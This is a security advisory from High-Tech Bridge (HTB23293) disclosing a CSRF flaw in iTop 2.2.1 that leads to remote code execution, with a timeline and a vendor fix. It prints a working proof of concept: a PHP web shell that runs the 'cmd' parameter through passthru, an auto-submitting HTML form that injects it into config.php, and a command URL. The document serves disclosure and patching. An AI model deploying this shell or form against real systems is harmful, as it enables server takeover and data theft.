Remote Code Execution via CSRF in iTop

[High-Tech Bridge Security Research <advisory@xxxxxxxxxxx>]

Advisory ID: HTB23293
Product: iTop
Vendor: Combodo
Vulnerable Version(s): 2.2.1 and probably prior
Tested Version: 2.2.1
Advisory Publication:  February 10, 2016  [without technical details]
Vendor Notification: February 10, 2016 
Vendor Patch: February 11, 2016 
Public Disclosure: March 18, 2016 
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
Risk Level: High 
CVSSv3 Base Score: 7.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered a Remote Code Execution 
vulnerability in iTop that is exploitable via Cross-Site Request Forgery flaw 
that is also present in the application. The vulnerability exists due to 
absence of validation of HTTP request origin in 
"/env-production/itop-config/config.php" script, as well as lack of user-input 
sanitization received via "new_config" HTTP POST parameter. 

A remote unauthenticated attacker can perform CSRF attack and execute arbitrary 
PHP code on the vulnerable system with privileges of the web server. Successful 
exploitation of the vulnerability may allow an attacker to execute arbitrary 
system commands on the web server, gain complete access to vulnerable web 
application and its databases that may contain very sensitive information. 

The attacker shall create a malicious web page with CSRF exploit code, trick a 
logged-in administrator to visit the page, spoof the HTTP request as if it was 
coming from the legitimate user, and permanently inject malicious PHP code into 
iTop configuration file.

CSRF exploit will inject the following PHP code into iTop configuration file:

<? if(isset($_GET['cmd'])) die(passthru($_GET['cmd'])); ?> 

To reproduce the vulnerability, just create an empty HTML file and paste the 
following CSRF exploit code into it:


<form 
action="http://[host]/env-production/itop-config/config.php?c%5Bmenu%5D=ConfigEditor";
 method="post" name="main">
<input type="hidden" name="operation" value="save">
<input type="hidden" name="prev_config" value="1">
<input type="hidden" name="new_config" value="<? if(isset($_GET['cmd'])) 
die(passthru($_GET['cmd'])); ?>">
<input value="submit" id="btn" type="submit" />
</form>


Then login to iTop website with admin account and open the file in your 
browser. 

After successful exploitation an attacker can run arbitrary system commands 
using the "/pages/UI.php" script. This simple PoC will execute "/bin/ls" 
directory listing command: 

http://[host]/pages/UI.php?cmd=ls

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Solution:

Replace the file datamodels/2.x/itop-config/config.php by the version from the 
appropriate revision from SVN, then run the setup again.

More Information:
https://sourceforge.net/p/itop/tickets/1202/

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References:

[1] High-Tech Bridge Advisory HTB23293 - 
https://www.htbridge.com/advisory/HTB23293  - RCE via CSRF in iTop
[2] iTop - http://www.combodo.com - iTop: open source ITIL ITSM Software.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types.
[4] ImmuniWeb® - https://www.htbridge.com/immuniweb/ - web security platform by 
High-Tech Bridge for on-demand and continuous web application security, 
vulnerability management, monitoring and PCI DSS compliance.
[5] Free SSL/TLS Server test - https://www.htbridge.com/ssl/ - check your SSL 
implementation for PCI DSS and NIST compliance. Supports all types of protocols.

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Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.